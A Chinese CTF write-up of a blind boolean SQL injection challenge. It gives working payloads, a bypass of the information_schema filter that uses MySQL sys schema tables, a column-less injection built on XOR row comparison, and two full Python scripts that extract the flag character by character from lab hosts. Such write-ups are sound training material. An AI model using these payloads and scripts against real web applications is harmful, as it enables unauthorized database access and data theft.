页面只有一个输入框,并且题目提示为SQL注入
输入1
输入2
输入3
输入1、2和3输出的内容不同,所以判断为布尔注入
判断数据库长度为21,确认为布尔注入
- 依次匹配字符,匹配成功返回输入1的页面,否则显示输入2的页面
payload:
id=if(length(database())=21,1,2)
爆数据库名
id=if(substr(database(),1,1)="a",1,2)
give_grandpa_pa_pa_pa
脚本:
import requests
url = 'http://0c6ebf06-dd69-4596-8c4b-a13e10a76d3e.node4.buuoj.cn:81?stunum='
str = ['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',',','.','@','_','-',':',';','[',']','{','}','end']
# str = ['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',',','.','@','_','-',':',';','[',']','{','}']
result = ''
end = ''
for i in range(1, 50):
for s in str:
geturl = url + "if(substr((select(group_concat(value))from(flag)),%d,1)='%s',1,2)" % (i, s)
res = requests.get(geturl)
if (('Hi admin, your score is: 100' in res.text) and (res.status_code == 200)):
result += s
print(result)
break
if s == 'end':
end = 'end'
if end == 'end':
break
爆表名
id=if(substr(select table_name from information_schema.tables where
table_schema=database() ,1,1) ="a" ,1,2)
但是这里被检测出来了,绕过测试过滤了information_schema,还有or和union等
当information_schema被过滤可以使用,mysql.innodb_table_stats、sys.schema_auto_increment_columns和sys.schema_table_statistics_with_buffer,但是此表无列名,所以涉及到无列名注入
id=if(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),4,1)='x',1,2)
users233333333333333,f1ag_1s_h3r3_hhhhh
爆数据
方法一
直接猜列名为flag
id=if(substr((select flag from f1ag_1s_h3r3_hhhhh),4,1)='x',1,2)
flag{7433ab4e-715b-4c07-bfa2-db86ea464f78}
方法二
因为过滤了union所以用不了传统的无列名注入获取数据
1 ^ ( (select 1,1) > (select * from f1ag_1s_h3r3_hhhhh))
增减1的数量确定列数
1 ^ ( (select 1,'f') > (select * from f1ag_1s_h3r3_hhhhh))
脚本:
import requests
url = 'http://68bcc396-7f61-412d-a59b-d01fad776cce.node4.buuoj.cn:81/index.php'
flag = ''
end = ''
while True:
if end == 'end':
break
for j in range(32, 127):
data = {
'id': '1 ^ ( (select 1,"{}") > (select * from f1ag_1s_h3r3_hhhhh))'.format(flag+chr(j))
}
res = requests.post(url, data=data)
if 'Error Occured When Fetch Result.' in res.text:
flag += chr(j-1)
print(flag)
if chr(j-1) == '}':
end = 'end'
break
- 按位依次与查询到的数据进行比较
- f小于等于询到的数据时页面显示Nu1L,f大于询到的数据时显示Error Occured When Fetch Result.
- 大于时将字符数减一,添加到flag后
- 匹配到 } 就结束
参考文章:
SQL注入:限制条件下获取表名、无列名注入
ctf无列名注入小结